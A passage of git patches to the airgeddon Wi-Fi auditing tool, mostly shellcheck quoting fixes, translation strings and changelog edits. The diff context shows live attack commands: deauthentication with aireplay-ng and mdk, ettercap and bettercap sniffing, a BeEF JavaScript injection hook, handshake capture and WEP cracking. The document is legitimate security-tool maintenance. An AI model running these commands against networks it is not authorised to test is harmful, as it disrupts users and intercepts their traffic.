συνεπής ονομασία συσκευής δικτύου (γνωστός και ως όνομα συσκευής wifi longname). Υπάρχουν εργαλεία τρίτων που χρησιμοποιούνται από την airgeddon και δεν λειτουργούν σωστά. Συνιστάται να το αλλάξετε σε παλιά σύντομα ονόματα wifi (wlan0, wlan1, κ.λπ.)" arr["ITALIAN",708]="\${pending_of_translation} Rilevata denominazione coerente del dispositivo di rete (ovvero nome del dispositivo Wi-Fi con nome lungo). Esistono strumenti di terze parti utilizzati da airgeddon che non funzionano correttamente. Si consiglia di cambiarlo con i vecchi nomi wifi brevi (wlan0, wlan1, ecc.)" - arr["POLISH",708]="\${pending_of_translation} Wykryto spójne nazewnictwo urządzeń sieciowych (inaczej długą nazwę urządzenia Wi-Fi). Airgeddon używa narzędzi stron trzecich, które nie działają poprawnie. Zaleca się zmianę na stare krótkie nazwy Wi-Fi (wlan0, wlan1 itp.)" - arr["GERMAN",708]="\${pending_of_translation} Konsistente Netzwerkgerätebenennung erkannt (auch bekannt als Langname-WLAN-Gerätename). Airgeddon verwendet Tools von Drittanbietern, die nicht richtig funktionieren. Es wird empfohlen, auf alte kurze WLAN-Namen (wlan0, wlan1 usw.)" - arr["TURKISH",708]="\${pending_of_translation} Tutarlı Ağ Aygıtı Adlandırma algılandı (diğer adıyla uzun ad wifi aygıt adı). airgeddon tarafından kullanılan ve düzgün çalışmayan üçüncü taraf araçlar var. Eski kısa wifi adlarına (wlan0, wlan1, vb.) değiştirmeniz önerilir." + arr["POLISH",708]="\${pending_of_translation} Wykryto spójne nazewnictwo urządzeń sieciowych (inaczej długą nazwę urządzenia Wi-Fi). airgeddon używa narzędzi stron trzecich, które nie działają poprawnie. Zaleca się zmianę na stare krótkie nazwy Wi-Fi (wlan0, wlan1 itp.)" + arr["GERMAN",708]="\${pending_of_translation} Konsistente Netzwerkgerätebenennung erkannt (auch bekannt als Langname-WLAN-Gerätename). airgeddon verwendet Tools von Drittanbietern, die nicht richtig funktionieren. Es wird empfohlen, auf alte kurze WLAN-Namen (wlan0, wlan1 usw.)" + arr["TURKISH",708]="\${pending_of_translation} Tutarlı Ağ Aygıtı Adlandırma algılandı (diğer adıyla uzun ad wifi aygıt adı). airgeddon tarafından kullanılan ve düzgün çalışmayan üçüncü taraf araçlar var. Eski kısa wifi adlarına (wlan0, wlan1, vb.) değiştirmeniz önerilir" arr["ENGLISH",709]="Please check the airgeddon wiki. It contains information about how to change the wifi device names: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["SPANISH",709]="Consulte el wiki de airgeddon. Contiene información sobre cómo cambiar los nombres de los dispositivos wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" - arr["FRENCH",709]="\${pending_of_translation} Veuillez consulter le wiki airgeddon. Il contient des informations sur la façon de modifier les noms des appareils Wi-Fi : \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["FRENCH",709]="\${pending_of_translation} Veuillez consulter le wiki airgeddon. Il contient des informations sur la façon de modifier les noms des appareils Wi-Fi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["CATALAN",709]="\${pending_of_translation} Si us plau, comproveu la wiki d'airgeddon. Conté informació sobre com canviar els noms dels dispositius wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["PORTUGUESE",709]="\${pending_of_translation} Por favor, verifique o wiki airgeddon. Ele contém informações sobre como alterar os nomes dos dispositivos wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["RUSSIAN",709]="\${pending_of_translation} Пожалуйста, проверьте вики airgeddon. Он содержит информацию о том, как изменить имена устройств Wi-Fi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["GREEK",709]="\${pending_of_translation} Ελέγξτε το wiki airgeddon. Περιέχει πληροφορίες σχετικά με τον τρόπο αλλαγής των ονομάτων συσκευών wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["ITALIAN",709]="\${pending_of_translation} Si prega di controllare il wiki di airgeddon. Contiene informazioni su come modificare i nomi dei dispositivi wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["POLISH",709]="\${pending_of_translation} Proszę sprawdzić wiki airgeddon. Zawiera informacje o tym, jak zmienić nazwy urządzeń Wi-Fi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" - arr["GERMAN",709]="\${pending_of_translation} Bitte überprüfen Sie das Airgeddon-Wiki. Es enthält Informationen zum Ändern der WLAN-Gerätenamen: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["GERMAN",709]="\${pending_of_translation} Bitte überprüfen Sie das airgeddon-Wiki. Es enthält Informationen zum Ändern der WLAN-Gerätenamen: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["TURKISH",709]="\${pending_of_translation} Lütfen airgeddon wiki'sini kontrol edin. Kablosuz cihaz adlarının nasıl değiştirileceği hakkında bilgi içerir: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" - arr["ARABIC",709]="\${pending_of_translation} \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming\${yellow_color} :يرجى التحقق من ويكي airgeddon. يحتوي على معلومات حول كيفية تغيير أسماء أجهزة wifi" - + arr["ARABIC",709]="\${pending_of_translation} \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming\${yellow_color} :يرجى التحقق من ويكي airgeddon .يحتوي على معلومات حول كيفية تغيير أسماء أجهزة wifi\${normal_color}" } #Expand escaped variables in language strings with their actual values From 0b16381db811d1bb4c09d5586e3e61f028652770 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 23 Mar 2023 23:39:59 +0100 Subject: [PATCH 14/63] Update CHANGELOG.md --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0d535694b..5daa4b5bd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ### 11.20 - Improvements and fixes on "DoS pursuit mode" - - Fixed bug on Evil Twin captive portal attack if relative paths used + - Fixed bug on Evil Twin captive portal attack if relative paths used + - Added Consistent Network Device Naming detection check upon interface selection ### 11.11 - Custom enterprise certificates creation fix (now sha256) for modern hostapd-wpe versions From e3f4537d80d56ee6752d54f2286b910f87ed30b0 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 24 Mar 2023 00:21:49 +0100 Subject: [PATCH 15/63] Update CONTRIBUTING.md --- CONTRIBUTING.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index ea1d213ce..039af361a 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -17,7 +17,7 @@ Please note we have a [Code of Conduct], please follow it in all your interactio 4. If an issue is opened and more info is needed, `airgeddon` staff will request it. If there is no answer in 7 days or the OP is not collaborating, the issue will be closed. 5. If the issue is not related to airgeddon or the root cause is out of scope, it will be closed. `airgeddon` staff is not a helpdesk support service. 6. Try to be sure that your problem is related to airgeddon and that is not a driver issue. A good practice is always to try to perform the same operation without using `airgeddon` in order to see if the problem or the behavior can be reproduced. In that case, probably the issue should not be created. -7. Don't talk or mention references to other tools. If you want to talk about other similar tools you can do it on their pages/github. `airgeddon` issues are to talk about `airgeddon`. +7. Don't talk or mention references to other tools. If you want to talk about other similar tools you can do it on their pages/GitHub. `airgeddon` issues are to talk about `airgeddon`. ## Collaborating Translators @@ -36,7 +36,7 @@ Please note we have a [Code of Conduct], please follow it in all your interactio 2. Tweak *"AIRGEDDON_DEVELOPMENT_MODE"* variable to "true" for faster development skipping intro and initial checks or change *"AIRGEDDON_DEBUG_MODE"* variable for verbosity. 3. Respect the **4 width tab indentation**, code style and the **UTF-8 encoding**. 4. Use **LF** (Unix) line break type (not CR or CRLF). -5. Use [Shellcheck] to search for errors and warnings on code. (Thanks [xtonousou] for the tip :wink:). To avoid false positive warnings you must launch shellcheck using `-x` argument to follow source files and from the directory where `airgeddon.sh` is. For example: `~# cd /path/to/airgeddon && shellcheck -x airgeddon.sh` +5. Use [Shellcheck] to search for errors and warnings on code. (Thanks [xtonousou] for the tip :wink:). To avoid false positive warnings you must launch shellcheck using `-a -x` arguments to follow source files and from the directory where `airgeddon.sh` is. For example: `~# cd /path/to/airgeddon && shellcheck -a -x airgeddon.sh` 6. Increase the version numbers in `airgeddon.sh`, in [Readme] and in [Changelog] to the new version that the script represents. The versioning scheme we use is *X.YZ*. Where: - *X* is a major release with a new menu (e.g. WPS menu) - *Y* is a minor release with a new feature for an existing menu or a new submenu for an existing feature @@ -70,7 +70,7 @@ Anything can be also discussed on public [IRC] or [Discord] channel. More info a ## Beta Testers 1. Download the main version from the [Master] branch or the beta testing version from the development branch called [Dev]. Temporary branches may be existing for specific features that can also be tested. -2. Report any issues or bugs by Twitter at [@OscarAkaElvis], mail [v1s1t0r.1s.h3r3@gmail.com], on [IRC] or [Discord] channel or submit Github issue requests [Here] reading first the Issue Creation Policy. +2. Report any issues or bugs by Twitter at [@OscarAkaElvis], mail [v1s1t0r.1s.h3r3@gmail.com], on [IRC] channel, [Discord] server or submit GitHub issue requests [Here] reading first the Issue Creation Policy. ## Git Workflow Policy @@ -85,7 +85,7 @@ Anything can be also discussed on public [IRC] or [Discord] channel. More info a ## Discord Server Boosting -Another way to contribute is to use your Nitro Boosts on our [Discord] server. After boosting, your name will appear as a _Server Booster_ contributor there. Check [Wiki Contact Section] for more info about how to connect to it. +Another way to contribute is to use your Nitro Boosts on our [Discord] server. After boosting, your name will appear as a _Server Booster_ contributor there. Check [Wiki Contact Section] for more info about how to join to it. --- From 2058e84e5f203f93adb35da7543e1e9b2d92a861 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 24 Mar 2023 00:22:53 +0100 Subject: [PATCH 16/63] Fix SC2086 shellcheck warnings --- airgeddon.sh | 66 ++++++++++++++++++++++++++-------------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index afdaa28bb..386922f7b 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1397,9 +1397,9 @@ function check_vif_support() { #Returns warning messages if long wifi names detected function check_interface_wifi_longname() { - + debug_print - + wifi_card=${1} longname_patterns=("wlx[0-9a-fA-F]{12}") for pattern in "${longname_patterns[@]}"; do @@ -3096,7 +3096,7 @@ function handshake_capture_check() { fi time_counter=$((time_counter + 5)) - if [ ${time_counter} -ge ${timeout_capture_handshake} ]; then + if [ "${time_counter}" -ge "${timeout_capture_handshake}" ]; then break fi done @@ -4512,7 +4512,7 @@ function launch_dos_pursuit_mode_attack() { fi fi - sleep ${dos_delay} + sleep "${dos_delay}" airodump-ng -w "${tmpdir}dos_pm" "${interface_pursuit_mode_scan}" --band "${airodump_band_modifier}" > /dev/null 2>&1 & dos_pursuit_mode_scan_pid=$! dos_pursuit_mode_pids+=("${dos_pursuit_mode_scan_pid}") @@ -5783,7 +5783,7 @@ function initialize_menu_and_print_selections() { if [ -n "${enterprise_mode}" ]; then print_all_target_vars else - if [ ${retry_handshake_capture} -eq 1 ]; then + if [ "${retry_handshake_capture}" -eq 1 ]; then retry_handshake_capture=0 retrying_handshake_capture=1 fi @@ -6507,7 +6507,7 @@ function beef_pre_menu() { debug_print - if [ ${return_to_et_main_menu_from_beef} -eq 1 ]; then + if [ "${return_to_et_main_menu_from_beef}" -eq 1 ]; then return fi @@ -9111,7 +9111,7 @@ function exec_enterprise_attack() { recover_current_channel fi - if [ ${enterprise_mode} = "noisy" ]; then + if [ "${enterprise_mode}" = "noisy" ]; then restore_et_interface else if [ -f "${tmpdir}${enterprisedir}${enterprise_successfile}" ]; then @@ -9166,7 +9166,7 @@ function handle_asleap_attack() { asleap_attack_finished=0 - if [ ${enterprise_mode} = "noisy" ]; then + if [ "${enterprise_mode}" = "noisy" ]; then if [ ${#enterprise_captured_challenges_responses[@]} -eq 1 ]; then for item in "${!enterprise_captured_challenges_responses[@]}"; do enterprise_username="${item}" @@ -9299,7 +9299,7 @@ function exec_et_sniffing_attack() { fi restore_et_interface - if [ ${ettercap_log} -eq 1 ]; then + if [ "${ettercap_log}" -eq 1 ]; then parse_ettercap_log fi clean_tmpfiles @@ -9332,7 +9332,7 @@ function exec_et_sniffing_sslstrip2_attack() { fi restore_et_interface - if [ ${bettercap_log} -eq 1 ]; then + if [ "${bettercap_log}" -eq 1 ]; then parse_bettercap_log fi clean_tmpfiles @@ -9376,7 +9376,7 @@ function exec_et_sniffing_sslstrip2_beef_attack() { fi restore_et_interface - if [ ${bettercap_log} -eq 1 ]; then + if [ "${bettercap_log}" -eq 1 ]; then parse_bettercap_log fi clean_tmpfiles @@ -9890,7 +9890,7 @@ function exec_et_deauth() { case ${et_dos_attack} in "${mdk_command}") - kill "$(ps -C ${mdk_command} --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C "${mdk_command}" --no-headers -o pid | tr -d ' ')" &> /dev/null rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" deauth_et_cmd="${mdk_command} ${iface_monitor_et_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" @@ -9900,7 +9900,7 @@ function exec_et_deauth() { deauth_et_cmd="aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${iface_monitor_et_deauth}" ;; "Wds Confusion") - kill "$(ps -C ${mdk_command} --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C "${mdk_command}" --no-headers -o pid | tr -d ' ')" &> /dev/null deauth_et_cmd="${mdk_command} ${iface_monitor_et_deauth} w -e ${essid} -c ${channel}" ;; esac @@ -10412,7 +10412,7 @@ function set_enterprise_control_script() { exec 7>"${tmpdir}${control_enterprise_file}" local control_msg - if [ ${enterprise_mode} = "smooth" ]; then + if [ "${enterprise_mode}" = "smooth" ]; then control_msg=${enterprise_texts[${language},3]} else control_msg=${enterprise_texts[${language},4]} @@ -11296,7 +11296,7 @@ function launch_ettercap_sniffing() { ;; esac ettercap_cmd="ettercap -i ${interface} -q -T -z -S -u" - if [ ${ettercap_log} -eq 1 ]; then + if [ "${ettercap_log}" -eq 1 ]; then ettercap_cmd+=" -l \"${tmp_ettercaplog}\"" fi @@ -11654,7 +11654,7 @@ function launch_bettercap_sniffing() { bettercap_cmd="bettercap -iface ${interface} -no-history -caplet ${tmpdir}${bettercap_config_file}" - if [ ${bettercap_log} -eq 1 ]; then + if [ "${bettercap_log}" -eq 1 ]; then bettercap_cmd+=" | tee ${tmp_bettercaplog}" fi else @@ -11668,7 +11668,7 @@ function launch_bettercap_sniffing() { bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}" fi - if [ ${bettercap_log} -eq 1 ]; then + if [ "${bettercap_log}" -eq 1 ]; then bettercap_cmd+=" -O \"${tmp_bettercaplog}\"" fi fi @@ -11816,7 +11816,7 @@ function kill_et_windows() { kill_dos_pursuit_mode_processes case ${et_dos_attack} in "${mdk_command}"|"Wds Confusion") - kill "$(ps -C ${mdk_command} --no-headers -o pid | tr -d ' ')" &> /dev/null + kill "$(ps -C "${mdk_command}" --no-headers -o pid | tr -d ' ')" &> /dev/null ;; "Aireplay") kill "$(ps -C aireplay-ng --no-headers -o pid | tr -d ' ')" &> /dev/null @@ -12178,9 +12178,9 @@ function capture_handshake_evil_twin() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then processidattack=$! - sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null + sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null else - sleep ${sleeptimeattack} && kill ${processidattack} && kill_tmux_windows "Capturing Handshake" &> /dev/null + sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Capturing Handshake" &> /dev/null fi handshake_capture_check @@ -12761,9 +12761,9 @@ function launch_handshake_capture() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then processidattack=$! - sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null + sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null else - sleep ${sleeptimeattack} && kill ${processidattack} && kill_tmux_windows "Capturing Handshake" &> /dev/null + sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Capturing Handshake" &> /dev/null fi handshake_capture_check @@ -13152,7 +13152,7 @@ function explore_for_wps_targets_option() { fi washlines=$(wc -l "${tmpdir}wps.txt" 2> /dev/null | awk '{print $1}') - if [ "${washlines}" -le ${wash_start_data_line} ]; then + if [ "${washlines}" -le "${wash_start_data_line}" ]; then echo language_strings "${language}" 68 "red" language_strings "${language}" 115 "read" @@ -13173,7 +13173,7 @@ function explore_for_wps_targets_option() { i=$((i + 1)) - if [ ${i} -le ${wash_start_data_line} ]; then + if [ ${i} -le "${wash_start_data_line}" ]; then continue else wash_counter=$((wash_counter + 1)) @@ -13209,15 +13209,15 @@ function explore_for_wps_targets_option() { expwps_power=${expwps_power//0/} fi - if [ ${expwps_power} -lt 0 ]; then - if [ ${expwps_power} -eq -1 ]; then + if [ "${expwps_power}" -lt 0 ]; then + if [ "${expwps_power}" -eq -1 ]; then expwps_power=0 else expwps_power=$((expwps_power + 100)) fi fi - if [ ${expwps_power} -le 9 ]; then + if [ "${expwps_power}" -le 9 ]; then wpssp4=" " else wpssp4="" @@ -13318,7 +13318,7 @@ function select_target() { exp_power=0 fi - if [ ${exp_power} -le 9 ]; then + if [ "${exp_power}" -le 9 ]; then sp4=" " else sp4="" @@ -13466,7 +13466,7 @@ function et_prerequisites() { debug_print - if [ ${retry_handshake_capture} -eq 1 ]; then + if [ "${retry_handshake_capture}" -eq 1 ]; then return fi @@ -13546,7 +13546,7 @@ function et_prerequisites() { echo language_strings "${language}" 286 "pink" print_simple_separator - if [ ${retrying_handshake_capture} -eq 0 ]; then + if [ "${retrying_handshake_capture}" -eq 0 ]; then ask_yesno 321 "no" fi @@ -13864,7 +13864,7 @@ function detect_internet_interface() { debug_print - if [ ${internet_interface_selected} -eq 1 ]; then + if [ "${internet_interface_selected}" -eq 1 ]; then return 0 fi @@ -14409,7 +14409,7 @@ function set_script_paths() { fi fi scriptfolder="${scriptfolder%/*}/" - scriptfolder="$(readlink -f ${scriptfolder})" + scriptfolder="$(readlink -f "${scriptfolder}")" scriptfolder="${scriptfolder%/}/" scriptname="${0##*/}" fi @@ -15285,7 +15285,7 @@ function print_animated_flying_saucer() { else saucer_frame=$((i-4)) fi - flying_saucer ${saucer_frame} + flying_saucer "${saucer_frame}" done } From af0709f63efa48905aecbc68df2f58eb17e7cac7 Mon Sep 17 00:00:00 2001 From: masipro Date: Fri, 24 Mar 2023 05:22:01 +0100 Subject: [PATCH 17/63] Fix missing translation arabic string 708 --- language_strings.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/language_strings.sh b/language_strings.sh index 801d5c535..7a26de161 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -10178,6 +10178,7 @@ function initialize_language_strings() { arr["POLISH",708]="\${pending_of_translation} Wykryto spójne nazewnictwo urządzeń sieciowych (inaczej długą nazwę urządzenia Wi-Fi). airgeddon używa narzędzi stron trzecich, które nie działają poprawnie. Zaleca się zmianę na stare krótkie nazwy Wi-Fi (wlan0, wlan1 itp.)" arr["GERMAN",708]="\${pending_of_translation} Konsistente Netzwerkgerätebenennung erkannt (auch bekannt als Langname-WLAN-Gerätename). airgeddon verwendet Tools von Drittanbietern, die nicht richtig funktionieren. Es wird empfohlen, auf alte kurze WLAN-Namen (wlan0, wlan1 usw.)" arr["TURKISH",708]="\${pending_of_translation} Tutarlı Ağ Aygıtı Adlandırma algılandı (diğer adıyla uzun ad wifi aygıt adı). airgeddon tarafından kullanılan ve düzgün çalışmayan üçüncü taraf araçlar var. Eski kısa wifi adlarına (wlan0, wlan1, vb.) değiştirmeniz önerilir" + arr["ARABIC",708]="\${pending_of_translation} تم اكتشاف تسمية جهاز شبكة متسقة (ويعرف أيضًا باسم longname wifi device name). هناك أدوات الطرف الثالث المستخدمة من قبل airgeddon والتي لن تعمل بشكل صحيح. يوصى بتغييره إلى أسماء wifi قصيرة قديمة (wlan0 ، wlan1 ، إلخ.)\${normal_color}" arr["ENGLISH",709]="Please check the airgeddon wiki. It contains information about how to change the wifi device names: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["SPANISH",709]="Consulte el wiki de airgeddon. Contiene información sobre cómo cambiar los nombres de los dispositivos wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" From e7dade47e8df5557d0e8624bf49eeb61d46c4bd7 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 24 Mar 2023 23:20:01 +0100 Subject: [PATCH 18/63] Fix SC2004 shellcheck warnings --- airgeddon.sh | 16 ++++++++-------- plugins/missing_dependencies.sh | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 386922f7b..c10a61a21 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -13231,10 +13231,10 @@ function explore_for_wps_targets_option() { wpssp3=" " fi - wps_network_names[$wash_counter]=${expwps_essid} - wps_channels[$wash_counter]=${expwps_channel} - wps_macs[$wash_counter]=${expwps_bssid} - wps_lockeds[$wash_counter]=${expwps_locked} + wps_network_names["${wash_counter}"]=${expwps_essid} + wps_channels["${wash_counter}"]=${expwps_channel} + wps_macs["${wash_counter}"]=${expwps_bssid} + wps_lockeds["${wash_counter}"]=${expwps_locked} echo -e "${wash_color} ${wpssp1}${wash_counter}) ${expwps_bssid} ${wpssp2}${expwps_channel} ${wpssp4}${expwps_power}% ${expwps_locked}${wpssp3} ${expwps_essid}" fi done < "${tmpdir}wps.txt" @@ -13343,10 +13343,10 @@ function select_target() { sp6=" " fi - network_names[$i]=${exp_essid} - channels[$i]=${exp_channel} - macs[$i]=${exp_mac} - encs[$i]=${exp_enc} + network_names["${i}"]=${exp_essid} + channels["${i}"]=${exp_channel} + macs["${i}"]=${exp_mac} + encs["${i}"]=${exp_enc} echo -e "${airodump_color} ${sp1}${i})${client} ${sp5}${exp_mac} ${sp2}${exp_channel} ${sp4}${exp_power}% ${exp_enc}${sp6} ${exp_essid}" done < "${tmpdir}wnws.txt" diff --git a/plugins/missing_dependencies.sh b/plugins/missing_dependencies.sh index e47118793..9c6795123 100644 --- a/plugins/missing_dependencies.sh +++ b/plugins/missing_dependencies.sh @@ -311,7 +311,7 @@ function missing_dependencies_posthook_check_compatibility() { compatible=1 update_toolsok=1 for item in "${optional_tools_names[@]}"; do - optional_tools[${item}]=1 + optional_tools["${item}"]=1 done language_strings "${language}" "missing_dependencies_4" "yellow" else From 6a234da794202d2a5ec181c930581bae0f85bd35 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 24 Mar 2023 23:21:04 +0100 Subject: [PATCH 19/63] Remove unneeded color in arabic string 708 --- language_strings.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index 7a26de161..d9ee9215e 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -10178,7 +10178,7 @@ function initialize_language_strings() { arr["POLISH",708]="\${pending_of_translation} Wykryto spójne nazewnictwo urządzeń sieciowych (inaczej długą nazwę urządzenia Wi-Fi). airgeddon używa narzędzi stron trzecich, które nie działają poprawnie. Zaleca się zmianę na stare krótkie nazwy Wi-Fi (wlan0, wlan1 itp.)" arr["GERMAN",708]="\${pending_of_translation} Konsistente Netzwerkgerätebenennung erkannt (auch bekannt als Langname-WLAN-Gerätename). airgeddon verwendet Tools von Drittanbietern, die nicht richtig funktionieren. Es wird empfohlen, auf alte kurze WLAN-Namen (wlan0, wlan1 usw.)" arr["TURKISH",708]="\${pending_of_translation} Tutarlı Ağ Aygıtı Adlandırma algılandı (diğer adıyla uzun ad wifi aygıt adı). airgeddon tarafından kullanılan ve düzgün çalışmayan üçüncü taraf araçlar var. Eski kısa wifi adlarına (wlan0, wlan1, vb.) değiştirmeniz önerilir" - arr["ARABIC",708]="\${pending_of_translation} تم اكتشاف تسمية جهاز شبكة متسقة (ويعرف أيضًا باسم longname wifi device name). هناك أدوات الطرف الثالث المستخدمة من قبل airgeddon والتي لن تعمل بشكل صحيح. يوصى بتغييره إلى أسماء wifi قصيرة قديمة (wlan0 ، wlan1 ، إلخ.)\${normal_color}" + arr["ARABIC",708]="\${pending_of_translation} تم اكتشاف تسمية جهاز شبكة متسقة (ويعرف أيضًا باسم longname wifi device name). هناك أدوات الطرف الثالث المستخدمة من قبل airgeddon والتي لن تعمل بشكل صحيح. يوصى بتغييره إلى أسماء wifi قصيرة قديمة (wlan0 ، wlan1 ، إلخ.)" arr["ENGLISH",709]="Please check the airgeddon wiki. It contains information about how to change the wifi device names: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["SPANISH",709]="Consulte el wiki de airgeddon. Contiene información sobre cómo cambiar los nombres de los dispositivos wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" From 1f18331de85c03f8ba9a8bf93f04b01c84905611 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 27 Mar 2023 13:40:53 +0200 Subject: [PATCH 20/63] Fix so many shellcheck warnings --- airgeddon.sh | 190 +++++++++++++++++++++++++-------------------------- 1 file changed, 95 insertions(+), 95 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index c10a61a21..d17c73c92 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -625,7 +625,7 @@ function option_toggle() { return 1 fi - if [ ${required_reboot} -eq 0 ]; then + if [ "${required_reboot}" -eq 0 ]; then eval "export ${option_var_name}=false" fi else @@ -634,7 +634,7 @@ function option_toggle() { return 1 fi - if [ ${required_reboot} -eq 0 ]; then + if [ "${required_reboot}" -eq 0 ]; then eval "export ${option_var_name}=true" fi fi @@ -773,7 +773,7 @@ function special_text_missed_optional_tool() { local message message=$(replace_string_vars "${@}") - if [ ${allowed_menu_option} -eq 1 ]; then + if [ "${allowed_menu_option}" -eq 1 ]; then last_echo "${message}" "${normal_color}" else [[ ${message} =~ ^([0-9]+)\.(.*)$ ]] && forbidden_options+=("${BASH_REMATCH[1]}") @@ -936,7 +936,7 @@ function check_interface_coherence() { fi done - if [ ${interface_found} -eq 0 ]; then + if [ "${interface_found}" -eq 0 ]; then for iface_mac in "${ifaces_and_macs[@]}"; do iface_mac_tmp=${iface_mac:0:15} interface_mac_tmp=${interface_mac:0:15} @@ -1262,7 +1262,7 @@ function integrate_algorithms_pins() { fi done - if [ ${this_pin_already_included} -eq 0 ]; then + if [ "${this_pin_already_included}" -eq 0 ]; then pins_found=("${calculated_pins[idx]}" "${pins_found[@]}") counter_pins_found=$((counter_pins_found + 1)) some_calculated_pin_included=1 @@ -2580,7 +2580,7 @@ function select_secondary_interface() { option_counter=0 for item in "${secondary_ifaces[@]}"; do - if [ ${option_counter} -eq 0 ]; then + if [ "${option_counter}" -eq 0 ]; then if [ "${1}" = "dos_pursuit_mode" ]; then echo language_strings "${language}" 511 "green" @@ -2616,7 +2616,7 @@ function select_secondary_interface() { fi done - if [ ${option_counter} -eq 0 ]; then + if [ "${option_counter}" -eq 0 ]; then if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 elif [[ -z "${enterprise_mode}" ]] && [[ -n "${et_mode}" ]]; then @@ -3878,7 +3878,7 @@ function set_wep_script() { wep_chopchop_phase=2 else wep_chopchop_phase1_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_chopchop_phase1_pid}$" 2> /dev/null) - if [[ ${wep_chopchop_launched} -eq 0 ]] || [ -z "${wep_chopchop_phase1_pid_alive}" ]; then + if [[ "${wep_chopchop_launched}" -eq 0 ]] || [[ -z "${wep_chopchop_phase1_pid_alive}" ]]; then wep_chopchop_launched=1 EOF @@ -3957,7 +3957,7 @@ function set_wep_script() { wep_fragmentation_phase=2 else wep_fragmentation_phase1_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_fragmentation_phase1_pid}$" 2> /dev/null) - if [[ ${wep_fragmentation_launched} -eq 0 ]] || [ -z "${wep_fragmentation_phase1_pid_alive}" ]; then + if [[ "${wep_fragmentation_launched}" -eq 0 ]] || [[ -z "${wep_fragmentation_phase1_pid_alive}" ]]; then wep_fragmentation_launched=1 EOF @@ -4077,7 +4077,7 @@ function set_wep_script() { wep_capture_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_script_capture_pid}$" 2> /dev/null) wep_fakeauth_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_fakeauth_pid}$" 2> /dev/null) - if [[ -n ${wep_capture_pid_alive} ]] && [[ -z ${wep_fakeauth_pid_alive} ]]; then + if [[ -n "${wep_capture_pid_alive}" ]] && [[ -z "${wep_fakeauth_pid_alive}" ]]; then EOF cat >&6 <<-EOF @@ -4097,7 +4097,7 @@ function set_wep_script() { sleep 2 fi - if [ ${wep_to_be_launched_only_once} -eq 0 ]; then + if [ "${wep_to_be_launched_only_once}" -eq 0 ]; then wep_to_be_launched_only_once=1 EOF @@ -4143,11 +4143,11 @@ function set_wep_script() { write_wep_processes fi - 